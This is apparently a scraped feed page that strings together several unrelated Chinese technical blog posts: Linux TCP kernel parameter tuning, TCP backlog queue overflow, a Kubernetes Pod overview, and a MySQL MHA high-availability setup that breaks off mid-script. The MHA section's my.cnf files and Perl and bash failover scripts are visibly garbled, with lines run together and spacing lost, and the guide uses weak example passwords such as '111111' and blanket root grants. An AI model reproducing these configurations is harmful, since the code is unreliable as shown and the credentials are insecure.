当然了,不同内核版本的超时时间可能不一样,因为初始RTO在内核小版本间都会有细微的变化。所以,有时候在抓包时候可能会出现(3,6,12......)这样的序列。当然Java的API有超时时间:

java:
 // 函数调用中携带有超时时间
 public void connect(SocketAddress endpoint, int timeout) ;

所以,对于Java而言,这个内核参数的设置没有那么重要。但是,有些代码可能会有忘了设置timeout的情况,例如某个版本的Kafka就是,所以它在我们一些混沌测试的情况下,容灾恢复的时间会达到一分多钟,主要时间就是卡在connect上面-_-!,而这时我们的tcp_syn_retries设置的是5,也即超时时间63s。减少这个恢复时间的手段就是:

echo 3 > /proc/sys/net/ipv4/tcp_syn_retries

tcp_retries2

tcp_retries2这个参数表面意思是在传输过程中tcp的重传次数。但在某个版本之后Linux内核仅仅用这个tcp_retries2来计算超时时间,在这段时间的重传次数纯粹由RTO等环境因素决定,重传超时时间在5/15下的表现为:

tcp_retries2对端无响应
525.6s-51.2s根据动态rto定
15924.6s-1044.6s根据动态rto定

如果我们在应用层设置的Socket所有ReadTimeout都很小的话(例如3s),这个内核参数调整是没有必要的。但是,笔者经常发现有的系统,因为一两个慢的接口或者SQL,所以将ReadTimeout设的很大的情况。

平常这种情况是没有问题的,因为慢请求频率很低,不会对系统造成什么风险。但是,物理机突然宕机时候的情况就不一样了,由于ReadTimeOut设置的过大,导致所有落到这台宕机的机器都会在min(ReadTimeOut,(924.6s-1044.6s)(Linux默认tcp_retries2是15))后才能从read系统调用返回。假设ReadTimeout设置了个5min,系统总线程数是200,那么只要5min内有200个请求落到宕机的server就会使A系统失去响应!

但如果将tcp_retries2设置为5,那么超时返回时间即为min(ReadTimeOut 5min,25.6-51.2s),也就是30s左右,极大的缓解了这一情况。

echo 5 > /proc/sys/net/ipv4/tcp_retries2

但是针对这种现象,最好要做资源上的隔离,例如线程上的隔离或者机器级的隔离。

golang的goroutine调度模型就可以很好的解决线程资源不够的问题,但缺点是goroutine里面不能有阻塞的系统调用,不然也会和上面一样,但仅仅对于系统之间互相调用而言,都是非阻塞IO,所以golang做微服务还是非常Nice的。当然了我大Java用纯IO事件触发编写代码也不会有问题,就是对心智负担太高-_-!

物理机突然宕机和进程宕不一样

值得注意的是,物理机宕机和进程宕但内核还存在表现完全不一样。

仅仅进程宕而内核存活,那么内核会立马发送reset给对端,从而不会卡住A系统的线程资源。

tcp_slow_start_after_idle

还有一个可能需要调整的参数是tcp_slow_start_after_idle,Linux默认是1,即开启状态。开启这个参数后,我们的TCP拥塞窗口会在一个RTO时间空闲之后重置为初始拥塞窗口(CWND)大小,这无疑大幅的减少了长连接的优势。对应Linux源码为:

static void tcp_event_data_sent(struct tcp_sock *tp,
				struct sk_buff *skb, struct sock *sk){
	// 如果开启了start_after_idle,而且这次发送的时间-上次发送的时间>一个rto,就重置tcp拥塞窗口
	if (sysctl_tcp_slow_start_after_idle &&
	    (!tp->packets_out && (s32)(now - tp->lsndtime) > icsk->icsk_rto))
		tcp_cwnd_restart(sk, __sk_dst_get(sk));
}


关闭这个参数后,无疑会提高某些请求的传输速度(在带宽够的情况下)。

echo 0 > /proc/sys/net/ipv4/tcp_slow_start_after_idle

当然了,Linux启用这个参数也是有理由的,如果我们的网络情况是时刻在变化的,例如拿个手机到处移动,那么将拥塞窗口重置确实是个不错的选项。但是就我们内网系统间调用而言,是不太必要的了。

初始CWND大小

毫无疑问,新建连接之后的初始TCP拥塞窗口大小也直接影响到我们的请求速率。在Linux2.6.32源码中,其初始拥塞窗口是(2-4个)mss大小,对应于内网估计也就是(2.8-5.6K)(MTU 1500),这个大小对于某些大请求可能有点捉襟见肘。
在Linux 2.6.39以上或者某些RedHat维护的小版本中已经把CWND
增大到RFC 6928所规定的的10段,也就是在内网里面估计14K左右(MTU 1500)。

Linux 新版本
/* TCP initial congestion window */
#define TCP_INIT_CWND		10


总结

Linux提供了一大堆内参参数供我们进行调优,其默认设置的参数在很多情况下并不是最佳实践,所以我们需要潜心研究,找到最适合当前环境的组合。

TCP之三:TCP/IP协议中backlog参数(队列参数) - duanxz - 博客园

$
0
0

目录:

TCP洪水攻击(SYN Flood)的诊断和处理

TCP/IP协议中backlog参数

 

TCP建立连接是要进行三次握手,但是否完成三次握手后,服务器就处理(accept)呢?

  backlog其实是一个连接队列,在Linux内核2.2之前,backlog大小包括半连接状态和全连接状态两种队列大小。

  半连接状态为:服务器处于Listen状态时收到客户端SYN报文时放入半连接队列中,即SYN queue(服务器端口状态为:SYN_RCVD)。

  全连接状态为:TCP的连接状态从服务器(SYN+ACK)响应客户端后,到客户端的ACK报文到达服务器之前,则一直保留在半连接状态中;当服务器接收到客户端的ACK报文后,该条目将从半连接队列搬到全连接队列尾部,即 accept queue (服务器端口状态为:ESTABLISHED)。

  在Linux内核2.2之后,分离为两个backlog来分别限制半连接(SYN_RCVD状态)队列大小和全连接(ESTABLISHED状态)队列大小。

  半连接队列:SYN queue 队列长度由 /proc/sys/net/ipv4/tcp_max_syn_backlog 指定,默认为2048。

  全连接队列:Accept queue 队列长度由 /proc/sys/net/core/somaxconn 和使用listen函数时传入的参数,二者取最小值。默认为128。

在Linux内核2.4.25之前,是写死在代码常量 SOMAXCONN ,在Linux内核2.4.25之后,在配置文件 /proc/sys/net/core/somaxconn 中直接修改,或者在 /etc/sysctl.conf 中配置 net.core.somaxconn = 128 。

 

  可以通过ss命令来显示

复制代码
[root@localhost ~]# ss -l
State       Recv-Q Send-Q                                     Local Address:Port                                         Peer Address:Port     
LISTEN      0      128                                                    *:http                                                    *:*       
LISTEN      0      128                                                   :::ssh                                                    :::*       
LISTEN      0      128                                                    *:ssh                                                     *:*       
LISTEN      0      100                                                  ::1:smtp                                                   :::*       
LISTEN      0      100                                            127.0.0.1:smtp                                                    *:*
复制代码

  在LISTEN状态,其中 Send-Q 即为Accept queue的最大值,Recv-Q 则表示Accept queue中等待被服务器accept()。

队列溢出

另外,客户端connect()返回不代表TCP连接建立成功,有可能此时accept queue 已满,系统会直接丢弃后续ACK请求;客户端误以为连接已建立,开始调用等待至超时;服务器则等待ACK超时,会重传SYN+ACK 给客户端,重传次数受限 net.ipv4.tcp_synack_retries ,默认为5,表示重发5次,每次等待30~40秒,即半连接默认时间大约为180秒,该参数可以在tcp被洪水攻击是临时启用这个参数。

注:accept queue溢出,即便SYN queue没有溢出,新连接请求的SYN也可能被drop。  

查看SYN queue 溢出

[root@localhost ~]# netstat -s | grep LISTEN
102324 SYNs to LISTEN sockets dropped

查看Accept queue 溢出

[root@localhost ~]# netstat -s | grep TCPBacklogDrop
TCPBacklogDrop: 2334

 

案例1

Nginx作为7层反向代理,客户端HTTP请求 – NGINX – 透明代理,透明代理接口存在大量慢请求;

思路

抓包,客户端同nginx通信,nginx立即返回ACK(1ms),但是3s后才返回响应数据;

Nginx同后端通信,发送SYN请求等待3s后端才响应;

结论

Backlog设置过小,导致accept queue溢出,SYN被丢弃导致3s重传;

将backlog从50增加到512,somaxconn=512;

案例2

Testserver随机生成RAR/ZIP文件,testclient访问testserver获取生成文件,所有调用采用block方式;

运行一段时间后程序永久阻塞,strace先生testclient阻塞在recvmsg;

思路

抓包观察3次握手协议,服务器返回SYN+ACK,客户端响应ACK,可服务器再次发送同样的SYN+ACK;

客户端响应的ACK丢包,而net.ipv4.tcp_synack_retries = 1;

结论

三次握手最后一步失败,server保持SYN_RECV状态等待接收ACK,client发送ACK状态变为ESTABLISHED,其认为connect()成功故接着调用recvmsg();

Syn+ack被设置为只重传一次,若这次重传仍失败,则客户端永久阻塞;

其他案例

Backlog过大,连接积压在accept queue,nginx由于连接超时而断开,PHP accept返回时连接已被客户端close,故报告PHP write Broken pipe;

Backlog过小,accept queue溢出,握手第3步的ACK被丢弃,但client认为连接成功并发送数据,造成所谓慢请求;

 

参考资料:

TCP SOCKET中backlog参数的用途是什么?

TCP/IP协议中backlog分析与设置以及TCP状态变化

TCP3次握手和backlog溢出 

TCP queue 的一些问题

TCP洪水攻击(SYN Flood)的诊断和处理

深入掌握K8S Pod - Yabea - 博客园

$
0
0

k8s系列文章:

Pod是k8s中最小的调度单元,包含了一个“根容器”和其它用户业务容器。

如果你使用过k8s的话,当然会了解pod的基本使用,但是为了更好的应用,你需要深入了解pod的配置、调度、升级和扩缩容等。本文将会更进一步的介绍pod。

基础

为什么需要pod?

pod包含一个或多个相对紧密耦合的容器,处于同一个pod中的容器共享同样的存储空间、IP地址和Port端口。

为什么k8s要设计出Pod这个概念并作为最小调度单元呢?

直接部署一个容器可能会更加容易,每个容器都有不同的配置和功能,k8s需要对这些容器进行管理(重启、检测等),那么为了避免在容器这个实体上增加更多的属性,就产生了pod这个概念。

并且,Pod中的多个业务容器共享Pause容器的IP,共享Pause容器挂接的Volume,这样既简化了密切关联的业务容器的通信问题,也很好的解决了它们之间的文件共享问题。

容器配置

pod可以由一个或多个容器组合而成,也就是说, 在创建pod时可以给一个pod配置多个container,一般情况下,建议将应用紧耦合的容器打包为一个pod,原则上一个容器一个进程。

共享Volume

同一个pod中的多个容器能够共享pod级别的存储卷Volume,多个容器各自挂载,将一个volume挂载为容器内部需要的目录。

Pod通信

k8s为每个pod都分配了唯一的IP地址,称之为pod IP,一个pod中的多个容器共享Pod IP地址,属于同一个pod的多个应用之间相互访问时仅通过localhost就可以通信。

k8s底层支持集群内任意两个pod之间的TCP/IP直接通信,因此,在k8s中,一个pod中的容器可以与另外主机上的pod里的容器直接通信。

容器限制

需要注意的是:pod中长时间运行的容器需保证其主程序一直在前台运行。比如创建docker镜像时启动命令是通过nohup在后台运行的:

nohup ./start.sh &

那么kubelet创建了包含这个容器的pod之后运行完这个命令,则会根据配置发生两种情况:

  1. 如果pod未配置RC,则认为该pod执行结束,将立刻销毁该pod。
  2. 如果pod配置了RC,该pod终止以后,k8s会根据RC的数量生成新的pod,会陷入一个 销毁-> 创建的无限循环中。

如果无法前台执行,只能后端运行的话,该怎么办呢?

可以借助supervisor。

配置管理

应用部署的一个最佳实践就是将配置信息和程序进行分离,在k8s中可以使用configmap实现。

详细使用可参考: K8S configmap使用

生命周期和重启策略

在创建pod出错了,通常会看到pending状态,而你使用 kubectl get pods 时,也偶尔会看到重启这个字段,那么pod的生命周期和重启策略具体是怎么实现的呢?

一个pod的状态信息是保存在PodStatus对象中的,phase字段用来描述pod在其生命周期中的不同状态,包括:

状态说明
Pending挂起。有一个或多个容器未被创建,可以通过kubectl get po ** 查看原因。
running运行中。所有容器已被创建,至少有一个是运行状态,可通过kubectl logs -f ** 查看日志
succeeded成功。所有容器执行成功并终止,不会再次重启。
failed失败。所有容器都已终止,至少有一个容器以失败的方式终止。
unknown未知。一般是因为通信问题无法获取pod的状态

Pod通常使用探针来检测容器内的应用是否正常,有两类探针:

  1. LivenessProbe探针:判断容器是否存活(Running状态)
  2. ReadinessProbe探针:判断容器是否可用(Ready状态)

在Pod发生故障时对Pod进行重启(仅在Pod所处的Node上操作),具体的方式包括:

操作方式说明
Always容器失效时,自动重启
OnFailure容器以不为0的状态码终止,自动重启
Never无论何种状态,都不会重启

其中,Pod的重启策略与控制方式息息相关,不同的控制器对pod的重启策略要求不一样:

  1. RC和DaemonSet:必须设置为Always,需要保证容器持续运行
  2. Job:onfailure或者Never,保证容器执行完成后不再重启。

Pod调度

在使用K8S时,我们很少直接创建Pod,大多数情况都是会通过RC、Deployment、DaemonSet、Job等控制器来实现对一组Pod副本的创建、调度和全生命周期的自动控制。

官方建议:不应该使用底层的ReplicaSet来控制Pod副本,推荐直接使用管理ReplicaSet的Deployment对象来控制Pod副本。

全自动调度

Deployment或RC的主要功能之一就是自动部署一个容器应用的多份副本,持续监控副本的数量,保证集群内始终维持指定的副本数量。创建的pod完全由系统自动完成调度,pod各自运行在哪个节点上,完全由master scheduler计算出一个最佳的目标节点进行分配,用户无法干预。

举个例子:

apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx 
spec:
  replicas: 3
  template:
    metadata:
      labels:
      app: nginx
    spec:
       containers:
         - name: nginx
           image: nginx:1.0
           ports:
             - containerPort: 80

使用kubectl create -f **.yaml创建该Deployment。

使用kubectl get deployments,就会发现刚才创建的deployment有三个副本。

使用kubectl get rs和kubectl get pods可查看已创建的RS和pod,使用kubectl get pod -o wide可以查看pod的分配情况。

定向调度

在实际应用中,经常会需要将Pod调度到指定的一些Node节点上,这时候可配置NodeSelector或者NodeAffinity来进行定向调度。

NodeSelector

具体的使用:

  1. 通过kubectl label命令给目标Node打上标签,可通过kubectl label nodes命令查看所有节点的标签;
  2. 在Pod的定义中加上NodeSelector的设置
  3. 运行kubectl create -f 命令创建Pod时,scheduler就会将pod自动调度指定标签的Node上。

NodeAffinity(节点亲和力调度)

NodeSelector通过标签机制,简单的限制了Pod所在节点的方法,亲和力调度机制则更好扩展了Pod的调度能力,可以使用软限制,支持In、NotIn、Exists、DoesNotExist、Gt、LT等操作符。

  1. 可依据节点上正在运行的其它Pod的标签来进行限制,而非节点本身的标签。

需要注意以下几点:

  1. 如果同时定义了nodeSelector和nodeAffinity,则必须两个条件都满足
  2. 如果nodeAffinity指定了多个nodeSelectorTerms,则其中一个匹配成功即可。
  3. 如果nodeSelectorTerms中有多个matchExpressions。则一个节点必须满足所有matchExpressions才能运行该Pod

PodAffinity(Pod亲和与互斥调度)

根据节点上正在运行的Pod标签而非节点的标签进行判断和调度,对节点和Pod两个条件进行匹配。

具体的使用:

  1. 创建一个名为pod-flag的pod,设置标签
  2. 亲和性调度:创建pod-flag在同一个Node节点的pod
  3. 互斥性调度:可创建与pod-flag不在同一个Node节点的pod

DaemonSet

用于管理在集群的每个Node上仅运行一份pod的副本实例。适用场景:日志采集、性能监控等。

优先调度

为了提高资源利用率,我们通常会采用优先级方案,即不同类型的负载对应不同的优先级,并且当发生资源不足时,系统可以选择释放一些不重要的负载,保障最重要的负载以获取足够的资源稳定运行。

优先级抢占调度策略的有两个核心点:

  1. 驱逐(Eviction):kubelet的行为,当一个Node发生资源不足时,该结点上的kubelet进程会综合考虑优先级、资源申请量和实际资源使用等进行驱逐
  2. 抢占(Preemption):scheduler的行为,当一个新的pod因资源无法满足而不能调度时,scheduler可能会选择(跨节点或本节点)驱逐部分低优先级的pod实例来满足调度

批处理调度 Job

可以通过Job来定义并启动一个批处理任务(并行启动多个进程去处理一些工作项),处理完成后,整个批处理任务结束。

定时任务 Cronjob

类似Linux Cron的定时任务Cron Job。

除此以外,你还可以自定义调度器。

升级和回滚

为了保证服务的高可用,k8s提供了滚动升级功能。主要介绍下deployment。

Deployment

升级

更新镜像名的话,有以下方法进行更新:

  1. 通过 kubectl set image命令设置新的镜像名
  2. 使用 kubectl edit命令修改Deployment的配置,根据yaml的结构更新(比如:将spec.template.spec.containers[0].image从nginx:1.0改为nginx:1.1)。

对于RC的滚动升级,可以使用 kubectl rolling-update命令,该命令会创建一个新的RC,自动控制旧的RC中pod副本数量逐渐减少到0,新的RC中的Pod副本数量从0逐步增加到目标值。

一旦pod的定义发生了修改,则将触发系统完成Deployment中所有pod的滚动操作,可使用 kubectl rollout status查看滚动更新过程。

在升级过程中,deployment能够保证服务不中断,并且副本数量始终维持在用户指定数量。可在Deployment定义中,通过spec.strategy指定pod的更新策略,包括:

  1. Recreate 重建
  2. RollingUpdate 滚动更新

回滚

服务稳定性或者配置错误等原因会使得我们需要进行回滚,Deployment的所有发布历史记录都被保留在系统中,所以回滚是很方便的。具体操作:

  1. 用kubectl rollout history查看deployment的部署历史记录,确定要回退的版本,可以加上--revision=参数查看特定版本详情
  2. 回退到上一个版本或者指定版本
  3. kubectl describe deployment查看操作过程

对于相对复杂的配置修改,为了避免频繁大量触发更新操作,可使用 kubectl rollout pause命令暂停更新操作,然后进行配置修改,最后恢复deployment,一次性触发完整的更新操作。

扩缩容

伴随着资源的使用情况,常需要对pod进行扩缩容,可以利用Deployment/RC的Scale机制来实现,分为手动和自动两种模式。

手动

通过 kubectl scale deployment *** --replicas 3命令更新Pod副本数量,将--replicas设置比当前pod副本数量更小的数字的话,系统会kill一些正在运行的pod。

自动

用户指定pod副本的数量范围,设定依据的性能指标或者自定义业务指标,系统将自动的在这个范围内根据性能指标变化调整pod副本数量。

k8s 1.1版本开始新增了HPA控制器,基于Master的kube-controller-manager服务启动参数--horizontal-pod-autoscal-sync-period定义的探测周期,周期性检测目标pod的资源性能指标。并与设定的扩容条件进行对比,进行pod副本数量的自动调整。

以上。

mysql高可用架构MHA搭建(centos7+mysql5.7.28) - 七星6609 - 博客园

$
0
0

无论是传统行业,还是互联网行业,数据可用性都是至关重要的,虽然现在已经步入大数据时代,nosql比较流行,但是作为数据持久化及事务性的关系型数据库依然是项目首选,比如mysql。

现在几乎所有的公司项目,不说可用性必须达到5个9,至少也要要求,数据库出现问题,不能丢失数据,能够快速响应异常处理,下面使用mha来搭建mysql高可用集群(基于centos7+mysql5.7):

一、MHA简介

MHA(Master HA)是一款开源的 MySQL 的高可用程序,它为 MySQL 主从复制架构提供了 automating master failover 功能。MHA 在监控到 master 节点故障时,会提升其中拥有最新数据的 slave 节点成为新的master 节点,在此期间,MHA 会通过于其它从节点获取额外信息来避免一致性方面的问题。MHA 还提供了 master 节点的在线切换功能,即按需切换 master/slave 节点。MHA 能够在30秒内实现故障切换,并能在故障切换中,最大可能的保证数据一致性。

MHA由两部分组成:MHA Manager(管理节点)和MHA Node(数据节点)。管理节点可以单独部署在一台独立的机器上来管理多个master-slave集群,也可以部署在一台slave节点上。数据节点运行在每台mysql服务器上。Manager会定期检查master,若出现故障时,会自动将最新数据的slave提升为新的master,然后将其他的slave指向新的master。整个故障转移程序完全透明。

目前MHA主要支持一主多从的架构。要搭建MHA,要求一个复制集群中必须最少有三台数据库服务器,一主二从,即一台充当master,一台充当备用master,另外一台充当从库。


二、搭建环境架构

1.环境配置:

  操作系统版本:CentOS7

  MySQL版本:5.7.28

  VIP(虚IP):192.168.3.140

  机器列表及功能:

IPhostnameserver_id角色及功能
192.168.3.142s142142Monitor Host(监控复制组)/ Master(响应写请求)
192.168.3.143s143143Candidate Master(响应读请求)
192.168.3.144s144144Slave(响应读请求)

 

 

 

 

 

 

三、MHA搭建步骤

1.在s142、s143、s144机器上安装mysql5.7

详细安装可以参照另一篇文章: centos7安装mysql-5.7.28 在此不再详述

s142 my.cnf配置信息:

[mysqld]
log-bin=/usr/local/mysql/logs/mysql-bin.log
expire-logs-days=1max-binlog-size=500M
innodb_log_file_size=256M        
binlog_format=row server-id=142gtid_mode=on enforce_gtid_consistency=1log_slave_updates=1

 relay_log_recovery=ON
 relay_log=/usr/local/mysql/logs/mysql-relay-bin
 relay_log_index=/usr/local/mysql/logs/mysql-relay-bin.index
 log_error=/usr/local/mysql/logs/mysql-error.log

 #### replication ####
 log_slave_updates=1
 replicate_wild_ignore_table=information_schema.%,performance_schema.%,sys.%

plugin_load="rpl_semi_sync_master=semisync_master.so;rpl_semi_sync_slave=semisync_slave.so"loose_rpl_semi_sync_master_enabled=1loose_rpl_semi_sync_slave_enabled=1loose_rpl_semi_sync_master_timeout=5000basedir=/usr/local/mysql
datadir=/usr/local/mysql/data
socket=/usr/local/mysql/mysql.sock
user=mysqldefault-storage-engine=InnoDB
character-set-server=utf8
lower_case_table_names=1explicit_defaults_for_timestamp=true[mysqld_safe]
log-error=/usr/local/mysql/mysql-error.log
pid-file=/usr/local/mysql/mysqld.pid
[client]
socket=/usr/local/mysql/mysql.sock
[mysql]default-character-set=utf8
socket=/usr/local/mysql/mysql.sock

s143 my.cnf配置信息:

[mysqld]
log-bin=/usr/local/mysql/logs/mysql-bin.log
expire-logs-days=1max-binlog-size=500M
innodb_log_file_size=256M        
binlog_format=row server-id=143gtid_mode=on enforce_gtid_consistency=1log_slave_updates=1

 relay_log_recovery=ON
 relay_log=/usr/local/mysql/logs/mysql-relay-bin
 relay_log_index=/usr/local/mysql/logs/mysql-relay-bin.index
 log_error=/usr/local/mysql/logs/mysql-error.log

 #### replication ####
 log_slave_updates=1
 replicate_wild_ignore_table=information_schema.%,performance_schema.%,sys.%

 read_only=1
 relay_log_purge=0

plugin_load="rpl_semi_sync_master=semisync_master.so;rpl_semi_sync_slave=semisync_slave.so"loose_rpl_semi_sync_master_enabled=1loose_rpl_semi_sync_slave_enabled=1loose_rpl_semi_sync_master_timeout=5000basedir=/usr/local/mysql
datadir=/usr/local/mysql/data
socket=/usr/local/mysql/mysql.sock
user=mysqldefault-storage-engine=InnoDB
character-set-server=utf8
lower_case_table_names=1explicit_defaults_for_timestamp=true[mysqld_safe]
log-error=/usr/local/mysql/mysql-error.log
pid-file=/usr/local/mysql/mysqld.pid
[client]
socket=/usr/local/mysql/mysql.sock
[mysql]default-character-set=utf8
socket=/usr/local/mysql/mysql.sock

s144 my.cnf 配置信息:

[mysqld]
log-bin=/usr/local/mysql/logs/mysql-bin.log
expire-logs-days=1max-binlog-size=500M
innodb_log_file_size=256M        
binlog_format=row server-id=144gtid_mode=on enforce_gtid_consistency=1log_slave_updates=1

 relay_log_recovery=ON
 relay_log=/usr/local/mysql/logs/mysql-relay-bin
 relay_log_index=/usr/local/mysql/logs/mysql-relay-bin.index
 log_error=/usr/local/mysql/logs/mysql-error.log

 #### replication ####
 log_slave_updates=1
 replicate_wild_ignore_table=information_schema.%,performance_schema.%,sys.%

 read_only=1
 relay_log_purge=0

basedir=/usr/local/mysql
datadir=/usr/local/mysql/data
socket=/usr/local/mysql/mysql.sock
user=mysqldefault-storage-engine=InnoDB
character-set-server=utf8
lower_case_table_names=1explicit_defaults_for_timestamp=true[mysqld_safe]
log-error=/usr/local/mysql/mysql-error.log
pid-file=/usr/local/mysql/mysqld.pid
[client]
socket=/usr/local/mysql/mysql.sock
[mysql]default-character-set=utf8
socket=/usr/local/mysql/mysql.sock

2.创建复制用户及复制配置

在主节点上配置复制用户:

create user canal_repl_user;
grant replication slave on *.*  to canal_repl_user identified by '111111';
flush privileges;
grant all on *.* to root identified by '111111';

在从节点上执行主从复制命令:

CHANGE MASTER TO
MASTER_HOST='192.168.30.142',
MASTER_PORT=3306,
MASTER_AUTO_POSITION=1,
MASTER_USER='canal_repl_user',
MASTER_PASSWORD='111111';

#master_log_file='master-bin.000001',#5.6后不需要指定
#master_log_pos=189;        

#启动主从复制
START SLAVE

#查看主从复制信息
SHOW SLAVE STATUS

 说明主从复制成功,可以在主库中创建一个库,看看从库是否同步

 3.在每台机器上安装yum源头及MHA依赖的perl包

wget http://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm        

  rpm -ivh epel-release-latest-7.noarch.rpm

yum install -y perl-DBD-MySQLperl-Config-Tinyperl-Log-Dispatchperl-Parallel-ForkManager

如图安装成功:

 4.配置ssh免密登录

分别在s142/s143/s144机器上生成ssh秘钥:

ssh-keygen -t rsa -P''-f ~/.ssh/id_rsa

将各自公钥id_rsa.pub发送到另外两台机器,并追加到 ~/.ssh/authorized_keys中:

s142:        
mv id_rsa.pub id_rsa_142.pub
scp id_rsa_142.pub s143:~/.ssh/
scp id_rsa_142.pub s144:~/.ssh/

s143:        
mv id_rsa.pub id_rsa_143.pub
scp id_rsa_143.pub s142:~/.ssh/
scp id_rsa_143.pub s144:~/.ssh/

s144:        
mv id_rsa.pub id_rsa_144.pub
scp id_rsa_144.pub s142:~/.ssh/
scp id_rsa_144.pub s143:~/.ssh/
s142:        
cat id_rsa_143.pub >> authorized_keys
cat id_rsa_144.pub >> authorized_keys

s143:        
cat id_rsa_142.pub >> authorized_keys
cat id_rsa_144.pub >> authorized_keys

s144:        
cat id_rsa_143.pub >> authorized_keys
cat id_rsa_142.pub >> authorized_keys

5.安装MHA 

分别在s142、s143、s144上下载node安装包并安装:

wget https://qiniu.wsfnk.com/mha4mysql-node-0.58-0.el7.centos.noarch.rpmrpm -ivh mha4mysql-node-0.58-0.el7.centos.noarch.rpm

 

 在s142上安装manager

wget https://qiniu.wsfnk.com/mha4mysql-manager-0.58-0.el7.centos.noarch.rpmrpm -ivh mha4mysql-manager-0.58-0.el7.centos.noarch.rpm

 

 6.配置MHA Manager

6.1配置全局配置文件

新建 /etc/masterha_default.cnf(一定要是这个路径,不然后期masterha_check_ssh会提示未找到全局文件)

vim /etc/masterha_default.cnf

[serverdefault]
    user=root
    password=111111ssh_user=root
    repl_user=canal_repl_user
    repl_password=111111ping_interval=1#master_binlog_dir=/usr/local/mysql/logs
    secondary_check_script=masterha_secondary_check -s s142 -s s143 -s s144 
    master_ip_failover_script="/opt/soft/mha/scripts/master_ip_failover"master_ip_online_change_script="/opt/soft/mha/scripts/master_ip_online_change"report_script="/opt/soft/mha/scripts/send_report"

6.2 配置主配置文件

新建/opt/soft/mha/app1/app1.cnf文件,并配置如下信息:

[serverdefault]
manager_workdir=/opt/soft/mha
manager_log=/opt/soft/mha/manager.log

password=111111user=root

ping_interval=1repl_password=111111repl_user=canal_repl_user#master_binlog_dir=/usr/local/mysql/logs
#secondary_check_script=masterha_secondary_check -s s142 -s s143 -s s144
#master_ip_failover_script="/opt/soft/mha/scripts/master_ip_failover"#master_ip_online_change_script="/opt/soft/mha/scripts/master_ip_online_change"#report_script="/opt/soft/mha/scripts/send_report"#ssh用户
ssh_user=root

[server1]
hostname=s142
port=3306master_binlog_dir=/usr/local/mysql/logs
candidate_master=1check_repl_delay=0[server2]
hostname=s143
port=3306master_binlog_dir=/usr/local/mysql/logs
candidate_master=1check_repl_delay=0[server3] 
hostname=s144
port=3306master_binlog_dir=/usr/local/mysql/logs
ignore_fail=1no_master=1

6.4 配置VIP切换

为了防止脑裂发生,推荐生产环境采用脚本的方式来管理虚拟 ip,而不是使用 keepalived来完成。

vim /opt/soft/mha/scripts/master_ip_failover

  #!/usr/bin/env perl
    use strict;
    use warnings FATAL=>'all';
    use Getopt::Long;

    my (
        $command,   $ssh_user,  $orig_master_host,
        $orig_master_ip,$orig_master_port, $new_master_host, $new_master_ip,$new_master_port
    );

    #定义VIP变量
    my $vip='192.168.30.140/24';
    my $key='1';
    my $ssh_start_vip="/sbin/ifconfig ens33:$key $vip";
    my $ssh_stop_vip="/sbin/ifconfig ens33:$key down";

    GetOptions('command=s'=>\$command,'ssh_user=s'=>\$ssh_user,'orig_master_host=s'=>\$orig_master_host,'orig_master_ip=s'=>\$orig_master_ip,'orig_master_port=i'=>\$orig_master_port,'new_master_host=s'=>\$new_master_host,'new_master_ip=s'=>\$new_master_ip,'new_master_port=i'=>\$new_master_port,
    );

    exit&main();

    sub main {
        print"\n\nIN SCRIPT TEST====$ssh_stop_vip==$ssh_start_vip===\n\n";if( $command eq"stop"|| $command eq"stopssh") {
            my $exit_code=1;
            eval {
                print"Disabling the VIP on old master: $orig_master_host \n";&stop_vip();
                $exit_code=0;
            };if($@) {
                warn"Got Error: $@\n";
                exit $exit_code;
            }
            exit $exit_code;
        }

        elsif ( $command eq"start") {
        my $exit_code=10;
        eval {
            print"Enabling the VIP - $vip on the new master - $new_master_host \n";&start_vip();
            $exit_code=0;
        };if($@) {
            warn $@;
            exit $exit_code;
            }
        exit $exit_code;
        }

        elsif ( $command eq"status") {
            print"Checking the Status of the script.. OK \n";
            exit0;
        }else{&usage();
            exit1;
        }
    }

    sub start_vip() {
        `ssh $ssh_user\@$new_master_host \"$ssh_start_vip \"`;}
    sub stop_vip() {return0unless ($ssh_user);
        `ssh $ssh_user\@$orig_master_host \"$ssh_stop_vip \"`;}
    sub usage {
        print"Usage: master_ip_failover --command=start|stop|stopssh|status --orig_master_host=host --orig_master_ip=ip --orig_master_port=port --new_master_host=host --new_master_ip=ip --new_master_port=port\n";
    }

6.5 配置VIP脚本

vim /opt/soft/mha/scripts/master_ip_online_change

    #!/bin/bash
    source/root/.bash_profile

    vip=`echo'192.168.30.140/24'`  #设置VIP
    key=`echo'1'`

    command=`echo"$1"| awk -F ='{print $2}'`
    orig_master_host=`echo"$2"| awk -F ='{print $2}'`
    new_master_host=`echo"$7"| awk -F ='{print $2}'`
    orig_master_ssh_user=`echo"${12}"| awk -F ='{print $2}'`
    new_master_ssh_user=`echo"${13}"| awk -F ='{print $2}'`

    #要求服务的网卡识别名一样,都为ens33(这里是)
    stop_vip=`echo"ssh root@$orig_master_host /usr/sbin/ifconfig ens33:$key down"`
    start_vip=`echo"ssh root@$new_master_host /usr/sbin/ifconfig ens33:$key $vip"`if[ $command ='stop']
      then
        echo-e"\n\n\n****************************\n"echo-e"Disabled thi VIP - $vip on old master: $orig_master_host \n"$stop_vipif[ $? -eq0]
          then
        echo"Disabled the VIP successfully"elseecho"Disabled the VIP failed"fi
        echo-e"***************************\n\n\n"fiif[ $command ='start'-o $command ='status']
      then
        echo-e"\n\n\n*************************\n"echo-e"Enabling the VIP - $vip on new master: $new_master_host \n"$start_vipif[ $? -eq0]
          then
        echo"Enabled the VIP successfully"elseecho"Enabled the VIP failed"fi
        echo-e"***************************\n\n\n"fi

6.6.配置报警邮件脚本

首先配置邮件发送设置信息

#mail邮件发送程序,需要先配置好发送这信息
    vim/etc/mail.rcsetfrom=qixing@163.comsetsmtp=smtp.163.comsetsmtp-auth-user=qixing
    #拿163邮箱来说这个不是密码,而是授权码setsmtp-auth-password=qixingsetsmtp-auth=login

编写邮件发送脚本:

vim /opt/soft/mha/script/send_report


    #!/bin/bash
    source/root/.bash_profile
    # 解析变量
    orig_master_host=`echo"$1"| awk -F ='{print $2}'`
    new_master_host=`echo"$2"| awk -F ='{print $2}'`
    new_slave_hosts=`echo"$3"| awk -F ='{print $2}'`
    subject=`echo"$4"| awk -F ='{print $2}'`
    body=`echo"$5"| awk -F ='{print $2}'`
    #定义收件人地址
    email="qixing@163.com"tac/var/log/mha/app1/manager.log | sed -n 2p | grep'successfully'> /dev/nullif[ $? -eq0]
        then
